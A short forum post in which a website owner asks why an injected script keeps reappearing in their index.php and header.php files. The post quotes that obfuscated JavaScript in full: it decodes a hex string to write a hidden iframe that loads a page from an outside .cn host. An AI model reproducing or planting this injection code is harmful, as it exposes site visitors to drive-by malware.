Unknown scrit/hacked site

For a bit now, my site has been having probems with a script constantly being added to my index.php and header.php files, despite how many times I remove it.

The script looks like this:

Code: 
function v47d4354e87fa9(v47d4354e8877c){ function v47d4354e88f6e () {var v47d4354e89747=16; return v47d4354e89747;} return(parseInt(v47d4354e8877c,v47d4354e88f6e()));}function v47d4354e89f28(v47d4354e8a6f6){ function v47d4354e8be79 () {var v47d4354e8c64c=2; return v47d4354e8c64c;} var v47d4354e8aef7='';for(v47d4354e8b6a6=0; v47d4354e8b6a6<v47d4354e8a6f6.length; v47d4354e8b6a6+=v47d4354e8be79()){ v47d4354e8aef7+=(String.fromCharCode(v47d4354e87fa9(v47d4354e8a6f6.substr(v47d4354e8b6a6, v47d4354e8be79()))));}return v47d4354e8aef7;} document.write(v47d4354e89f28('3C696672616D65206E616D653D276431396633343533613027207372633D27687474703A2F2F7865706163652E636E2F7464736B612F696E6465782E706870272077696474683D323132206865696768743D323035207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));
(with the script codes in front of it (< script >)

any ideas how to stop this from re-appearing every time I clean my page?

 

 

 

 

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